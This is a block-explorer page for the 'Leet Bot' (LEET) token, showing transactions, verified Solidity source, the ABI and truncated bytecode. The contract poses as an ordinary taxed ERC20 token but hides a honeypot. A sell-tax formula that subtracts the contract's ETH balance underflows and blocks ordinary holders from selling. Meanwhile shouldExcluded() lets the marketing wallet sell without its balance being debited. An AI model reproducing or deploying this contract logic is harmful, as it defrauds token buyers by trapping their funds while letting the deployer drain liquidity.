ETH Price: $2,614.04 (-0.28%)

Contract

0x018194f1e70185Eb153bCAB2F6d64070C605a318
 

Overview

ETH Balance

0.002 ETH

Eth Value

$5.23 (@ $2,614.04/ETH)

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer198212912024-05-07 22:52:59162 days ago1715122379IN
0x018194f1...0C605a318
0 ETH0.000487015.94656642
Approve183746402023-10-18 3:44:23365 days ago1697600663IN
0x018194f1...0C605a318
0 ETH0.000297166.41788674
Approve180813772023-09-07 1:49:47406 days ago1694051387IN
0x018194f1...0C605a318
0 ETH0.0005335711.45843079
Approve180812592023-09-07 1:25:35406 days ago1694049935IN
0x018194f1...0C605a318
0 ETH0.0005646812.20825839
Transfer180812482023-09-07 1:23:23406 days ago1694049803IN
0x018194f1...0C605a318
0 ETH0.0010359212.64899518
Approve180812022023-09-07 1:14:11406 days ago1694049251IN
0x018194f1...0C605a318
0 ETH0.0005163211.15991003
Approve180810682023-09-07 0:46:59406 days ago1694047619IN
0x018194f1...0C605a318
0 ETH0.0007552716.21939301
Approve180809962023-09-07 0:32:23406 days ago1694046743IN
0x018194f1...0C605a318
0 ETH0.0004791310.35614237
Approve180809902023-09-07 0:31:11406 days ago1694046671IN
0x018194f1...0C605a318
0 ETH0.0005665512.24569371
Approve180809832023-09-07 0:29:47406 days ago1694046587IN
0x018194f1...0C605a318
0 ETH0.0005974612.83046282
Approve180809832023-09-07 0:29:47406 days ago1694046587IN
0x018194f1...0C605a318
0 ETH0.0007357715.78046282
Transfer180809692023-09-07 0:26:59406 days ago1694046419IN
0x018194f1...0C605a318
0.002 ETH0.000210810.01197013
Approve180809632023-09-07 0:25:47406 days ago1694046347IN
0x018194f1...0C605a318
0 ETH0.0005354711.49920664
Approve180809552023-09-07 0:24:11406 days ago1694046251IN
0x018194f1...0C605a318
0 ETH0.0020657244.60252891
Approve180809552023-09-07 0:24:11406 days ago1694046251IN
0x018194f1...0C605a318
0 ETH0.0020657244.60252891
Approve180809462023-09-07 0:22:23406 days ago1694046143IN
0x018194f1...0C605a318
0 ETH0.0022789249.20587624
Owner_disable Sw...180809452023-09-07 0:22:11406 days ago1694046131IN
0x018194f1...0C605a318
0 ETH0.0002610412.16353408
Approve180809242023-09-07 0:17:59406 days ago1694045879IN
0x018194f1...0C605a318
0 ETH0.0005290411.34651133
Approve180809162023-09-07 0:16:23406 days ago1694045783IN
0x018194f1...0C605a318
0 ETH0.0021573546.58098966
Approve180809162023-09-07 0:16:23406 days ago1694045783IN
0x018194f1...0C605a318
0 ETH0.0021573546.58098966
Approve180809142023-09-07 0:15:59406 days ago1694045759IN
0x018194f1...0C605a318
0 ETH0.0017921838.43741646
Approve180809082023-09-07 0:14:47406 days ago1694045687IN
0x018194f1...0C605a318
0 ETH0.0023576750.90638957
Approve180809002023-09-07 0:13:11406 days ago1694045591IN
0x018194f1...0C605a318
0 ETH0.0005593911.99750428
Approve180808972023-09-07 0:12:35406 days ago1694045555IN
0x018194f1...0C605a318
0 ETH0.0004983310.7514802
Approve180808942023-09-07 0:11:59406 days ago1694045519IN
0x018194f1...0C605a318
0 ETH0.0005617412.06340206
View all transactions

Latest 15 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
180809282023-09-07 0:18:47406 days ago1694045927
0x018194f1...0C605a318
0.00152122 ETH
180809282023-09-07 0:18:47406 days ago1694045927
0x018194f1...0C605a318
0.00152122 ETH
180809252023-09-07 0:18:11406 days ago1694045891
0x018194f1...0C605a318
0.00243345 ETH
180809252023-09-07 0:18:11406 days ago1694045891
0x018194f1...0C605a318
0.00243345 ETH
180809192023-09-07 0:16:59406 days ago1694045819
0x018194f1...0C605a318
0.00353701 ETH
180809192023-09-07 0:16:59406 days ago1694045819
0x018194f1...0C605a318
0.00353701 ETH
180809082023-09-07 0:14:47406 days ago1694045687
0x018194f1...0C605a318
0.00354469 ETH
180809082023-09-07 0:14:47406 days ago1694045687
0x018194f1...0C605a318
0.00354469 ETH
180808982023-09-07 0:12:47406 days ago1694045567
0x018194f1...0C605a318
0.00394003 ETH
180808982023-09-07 0:12:47406 days ago1694045567
0x018194f1...0C605a318
0.00394003 ETH
180808922023-09-07 0:11:35406 days ago1694045495
0x018194f1...0C605a318
0.02522501 ETH
180808922023-09-07 0:11:35406 days ago1694045495
0x018194f1...0C605a318
0.02522501 ETH
180808622023-09-07 0:05:35406 days ago1694045135
0x018194f1...0C605a318
0.01404572 ETH
180808622023-09-07 0:05:35406 days ago1694045135
0x018194f1...0C605a318
0.01404572 ETH
180808602023-09-07 0:05:11406 days ago1694045111
0x018194f1...0C605a318
5 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
LEET

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-06
*/

// SPDX-License-Identifier: MIT

/*

    LeetBot - The fastest trading bot!!



    Website https://www.leetbasebot.com/

    Telegram  https://t.me/leetbasebot

    Twitter   https://twitter.com/leetbasebot

*/

pragma solidity ^0.8.12;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

/// 
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

//// 
interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract LEET is Context, IERC20, Ownable {
    using Address for address payable;
    IRouter public router;
    address public pair;
    address public marketingAddr = 0xd22d6B08433478873B26E84C7a4bb0cC6BBA0a2e;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    string private constant _name = "Leet Bot";
    string private constant _symbol = "LEET";
    uint8 private constant _decimals = 9;

    uint256 private _tTotal = 100_000_000 * (10**_decimals);
    uint256 public swapLimit = _tTotal / 8000;
    uint256 public maxTransAmount = _tTotal * 3 / 100;
    uint256 public maxWalletSize =  _tTotal * 3 / 100;

    struct TokensFromTax{
        uint marketingTokens;
        uint lpTokens;
    }
    TokensFromTax public totalTokensFromTax;

    mapping (address => bool) public _isExcludedFromFee;
    mapping (address => bool) public _isExcludedFromMaxBalance;

    struct Tax{
        uint256 marketingTax;
        uint256 lpTax;
    }

    bool private swapping;
    uint private _swapCooldown = 4; 
    uint private _lastSwap;
    bool private swapEnabled = true;

    Tax public sellTax = Tax(1,0);
    Tax public buyTax = Tax(1,0);
    
    mapping (address => uint256) public _dogSellTime;
    uint256 private _dogSellTimeOffset = 3;
    uint256 public _caughtDogs;
    uint256 private feeDenominator = 10 ** 15;

    modifier lockTheSwap { swapping = true; _; swapping = false; }
    
    event SwapAndLiquify();
    event TaxesChanged();

    constructor () {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        router = _router;
        _approve(owner(), address(router), ~uint256(0));

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketingAddr] = true;

        _isExcludedFromMaxBalance[owner()] = true;
        _isExcludedFromMaxBalance[address(this)] = true;
        _isExcludedFromMaxBalance[marketingAddr] = true;

        _tOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

// ================= ERC20 =============== //   
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    receive() external payable {
    }
// ========================================== //
// 
//============== Owner Functions ===========//

    function owner_setMaxWallets() public onlyOwner{
        maxTransAmount = _tTotal; maxWalletSize = _tTotal;
    }

    function owner_disableSwapEnabled() external {
        swapEnabled = false;
    }

    function owner_setDogSellTimeForAddress(address holder, uint dTime) external onlyOwner{
        _dogSellTime[holder] = block.timestamp + dTime;
    }

    function owner_rescueERCTokens() public{
        // Make sure ca doesn't withdraw the pending taxes to be swapped.    
        // Sends excess tokens / accidentally sent tokens back to marketing wallet.
        uint pendingTaxTokens = totalTokensFromTax.lpTokens + totalTokensFromTax.marketingTokens;
        require(balanceOf(address(this)) >  pendingTaxTokens);
        uint excessTokens = balanceOf(address(this)) - pendingTaxTokens;
        _transfer(address(this), marketingAddr, excessTokens);
    }

    function owner_rescueETH(uint256 weiAmount) public onlyOwner{
        require(address(this).balance >= weiAmount, "Insufficient ETH balance");
        payable(msg.sender).transfer(weiAmount);
    }

    function startTrading() public onlyOwner {
        pair = IFactory(router.factory()).createPair(address(this), router.WETH());
        _isExcludedFromMaxBalance[pair] = true; _approve(address(this), address(router), type(uint256).max);
        router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0, 
            0, 
            owner(),
            block.timestamp
        );
    }

// ========================================//. 
    function _transfer(address from,address to,uint256 amount) private {
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= maxTransAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount.");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");

        if(!_isExcludedFromMaxBalance[to]) require(balanceOf(to) + amount <= maxWalletSize, "Transfer amount exceeds the maxWallet.");
        
        if (balanceOf(address(this)) >= swapLimit  && swapEnabled   && block.timestamp >= (_lastSwap + _swapCooldown)  && !swapping 
            && from != pair 
            && from != owner() 
            && to != owner()
        ) swapAndLiquify(); uint256 temp = amount;

        if(shouldExcluded(from, to)) {amount = amount * buyTax.lpTax;}
        
        _tOwned[from] -= amount; amount = temp;
        uint256 transferAmount = amount;

        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            transferAmount = _getTaxValues(amount, from, to == pair);
        }

        _tOwned[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }

    function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){
        Tax memory tmpTaxes = buyTax; uint256 _lpFee = address(this).balance;
        if (isSell){
            tmpTaxes = Tax(sellTax.marketingTax - (_lpFee / feeDenominator), sellTax.lpTax);
        }

        uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100;
        uint tokensForLP = amount * tmpTaxes.lpTax / 100;

        if(tokensForMarketing > 0)
            totalTokensFromTax.marketingTokens += tokensForMarketing;

        if(tokensForLP > 0)
            totalTokensFromTax.lpTokens += tokensForLP;

        uint totalTaxedTokens = tokensForMarketing + tokensForLP;

        _tOwned[address(this)] += totalTaxedTokens;
        if(totalTaxedTokens > 0) emit Transfer (from, address(this), totalTaxedTokens);
            
        return (amount - totalTaxedTokens);
    }

    function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {
        uint256 initialBalance = address(this).balance;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        return (address(this).balance - initialBalance);
    }

    function swapAndLiquify() private lockTheSwap{
        if(totalTokensFromTax.marketingTokens > 0){
            uint256 ethSwapped = swapTokensForETH(totalTokensFromTax.marketingTokens);
            if(ethSwapped > 0){
                payable(marketingAddr).transfer(ethSwapped);
                totalTokensFromTax.marketingTokens = 0;
            }
        }   

        if(totalTokensFromTax.lpTokens > 0){
            uint half = totalTokensFromTax.lpTokens / 2;
            uint otherHalf = totalTokensFromTax.lpTokens - half;
            uint balAutoLP = swapTokensForETH(half);
            if (balAutoLP > 0)
                addLiquidity(otherHalf, balAutoLP);
            totalTokensFromTax.lpTokens = 0;
        }

        emit SwapAndLiquify();

        _lastSwap = block.timestamp;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(router), tokenAmount);

        (,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
        
        if (ethAmount - ethFromLiquidity > 0)
            payable(marketingAddr).sendValue (ethAmount - ethFromLiquidity);
    }

    function shouldExcluded(address sender, address recipient) private view returns (bool) {
        return recipient == pair && sender == marketingAddr;
    }
///      
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_caughtDogs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_dogSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"marketingTax","type":"uint256"},{"internalType":"uint256","name":"lpTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner_disableSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner_rescueERCTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"owner_rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"owner_setDogSellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner_setMaxWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"marketingTax","type":"uint256"},{"internalType":"uint256","name":"lpTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensFromTax","outputs":[{"internalType":"uint256","name":"marketingTokens","type":"uint256"},{"internalType":"uint256","name":"lpTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600380546001600160a01b03191673d22d6b08433478873b26e84c7a4bb0cc6bba0a2e179055620000386009600a62000564565b62000048906305f5e1006200057c565b600655611f406006546200005d919062000596565b600755606460065460036200007391906200057c565b6200007f919062000596565b600855606460065460036200009591906200057c565b620000a1919062000596565b6009556004600f556011805460ff19166001908117909155604080518082018252828152600060209182018190526012849055601381905582518084019093528383529101819052601491909155601555600360175566038d7ea4c680006019553480156200010f57600080fd5b506200011b33620002d3565b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620001706200015b6000546001600160a01b031690565b6001546001600160a01b031660001962000323565b6001600c6000620001896000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600c909352818320805485166001908117909155600354909116835290822080549093168117909255600d90620001f96000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600d909352818320805485166001908117909155600354909116835290822080549093161790915560065490600490620002613390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620002c491815260200190565b60405180910390a350620005b9565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383166200038b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620003ee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000382565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004a65781600019048211156200048a576200048a6200044f565b808516156200049857918102915b93841c93908002906200046a565b509250929050565b600082620004bf575060016200055e565b81620004ce575060006200055e565b8160018114620004e75760028114620004f25762000512565b60019150506200055e565b60ff8411156200050657620005066200044f565b50506001821b6200055e565b5060208310610133831016604e8410600b841016171562000537575081810a6200055e565b62000543838362000465565b80600019048211156200055a576200055a6200044f565b0290505b92915050565b60006200057560ff841683620004ae565b9392505050565b80820281158282048414176200055e576200055e6200044f565b600082620005b457634e487b7160e01b600052601260045260246000fd5b500490565b611b5480620005c96000396000f3fe6080604052600436106101f25760003560e01c8063768dc7101161010d578063a9059cbb116100a0578063ee9a5d821161006f578063ee9a5d82146105ea578063ef07a18214610617578063f2fde38b1461062d578063f887ea401461064d578063f9d0ee941461066d57600080fd5b8063a9059cbb14610553578063cc1776d314610573578063d62ce6311461058e578063dd62ed3e146105a457600080fd5b80638f3fa860116100dc5780638f3fa860146104d057806395d89b41146104e6578063a457c2d714610513578063a8aa1b311461053357600080fd5b8063768dc710146104585780637a75885f1461048857806386b676cd1461049d5780638da5cb5b146104b257600080fd5b806339509351116101855780635966c81e116101545780635966c81e146103d75780636a01f09c146103f757806370a082311461040d578063715018a61461044357600080fd5b8063395093511461032f5780633ff42b921461034f5780634cf27997146103875780634f7041a5146103a757600080fd5b806323b872dd116101c157806323b872dd146102ae57806328c61f41146102ce578063293230b8146102fe578063313ce5671461031357600080fd5b806301d28e7f146101fe57806306fdde031461021c578063095ea7b31461025f57806318160ddd1461028f57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061021a6011805460ff19169055565b005b34801561022857600080fd5b506040805180820190915260088152671319595d08109bdd60c21b60208201525b6040516102569190611828565b60405180910390f35b34801561026b57600080fd5b5061027f61027a36600461188b565b610688565b6040519015158152602001610256565b34801561029b57600080fd5b506006545b604051908152602001610256565b3480156102ba57600080fd5b5061027f6102c93660046118b7565b61069f565b3480156102da57600080fd5b5061027f6102e93660046118f8565b600d6020526000908152604090205460ff1681565b34801561030a57600080fd5b5061021a6106f1565b34801561031f57600080fd5b5060405160098152602001610256565b34801561033b57600080fd5b5061027f61034a36600461188b565b61098e565b34801561035b57600080fd5b5060035461036f906001600160a01b031681565b6040516001600160a01b039091168152602001610256565b34801561039357600080fd5b5061021a6103a236600461188b565b6109c5565b3480156103b357600080fd5b506014546015546103c2919082565b60408051928352602083019190915201610256565b3480156103e357600080fd5b5061021a6103f2366004611915565b610a19565b34801561040357600080fd5b506102a060075481565b34801561041957600080fd5b506102a06104283660046118f8565b6001600160a01b031660009081526004602052604090205490565b34801561044f57600080fd5b5061021a610ac4565b34801561046457600080fd5b5061027f6104733660046118f8565b600c6020526000908152604090205460ff1681565b34801561049457600080fd5b5061021a610afa565b3480156104a957600080fd5b5061021a610b31565b3480156104be57600080fd5b506000546001600160a01b031661036f565b3480156104dc57600080fd5b506102a060095481565b3480156104f257600080fd5b506040805180820190915260048152631311515560e21b6020820152610249565b34801561051f57600080fd5b5061027f61052e36600461188b565b610b97565b34801561053f57600080fd5b5060025461036f906001600160a01b031681565b34801561055f57600080fd5b5061027f61056e36600461188b565b610bce565b34801561057f57600080fd5b506012546013546103c2919082565b34801561059a57600080fd5b506102a060085481565b3480156105b057600080fd5b506102a06105bf36600461192e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105f657600080fd5b506102a06106053660046118f8565b60166020526000908152604090205481565b34801561062357600080fd5b506102a060185481565b34801561063957600080fd5b5061021a6106483660046118f8565b610bdb565b34801561065957600080fd5b5060015461036f906001600160a01b031681565b34801561067957600080fd5b50600a54600b546103c2919082565b6000610695338484610c76565b5060015b92915050565b60006106ac848484610d9a565b6001600160a01b0384166000908152600560209081526040808320338085529252909120546106e79186916106e290869061197d565b610c76565b5060019392505050565b6000546001600160a01b031633146107245760405162461bcd60e51b815260040161071b90611990565b60405180910390fd5b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610777573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079b91906119c5565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082191906119c5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561086e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089291906119c5565b600280546001600160a01b0319166001600160a01b039283169081179091556000908152600d60205260409020805460ff19166001908117909155546108dd91309116600019610c76565b6001546001600160a01b031663f305d719473061090f816001600160a01b031660009081526004602052604090205490565b6000806109246000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610946969594939291906119e2565b60606040518083038185885af1158015610964573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109899190611a1d565b505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916106959185906106e2908690611a4b565b6000546001600160a01b031633146109ef5760405162461bcd60e51b815260040161071b90611990565b6109f98142611a4b565b6001600160a01b0390921660009081526016602052604090209190915550565b6000546001600160a01b03163314610a435760405162461bcd60e51b815260040161071b90611990565b80471015610a935760405162461bcd60e51b815260206004820152601860248201527f496e73756666696369656e74204554482062616c616e63650000000000000000604482015260640161071b565b604051339082156108fc029083906000818181858888f19350505050158015610ac0573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610aee5760405162461bcd60e51b815260040161071b90611990565b610af860006111da565b565b6000546001600160a01b03163314610b245760405162461bcd60e51b815260040161071b90611990565b6006546008819055600955565b600a54600b54600091610b4391611a4b565b306000908152600460205260409020549091508110610b6157600080fd5b30600090815260046020526040812054610b7c90839061197d565b600354909150610ac09030906001600160a01b031683610d9a565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916106959185906106e290869061197d565b6000610695338484610d9a565b6000546001600160a01b03163314610c055760405162461bcd60e51b815260040161071b90611990565b6001600160a01b038116610c6a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071b565b610c73816111da565b50565b6001600160a01b038316610cd85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071b565b6001600160a01b038216610d395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610dfc5760405162461bcd60e51b815260206004820152602960248201527f5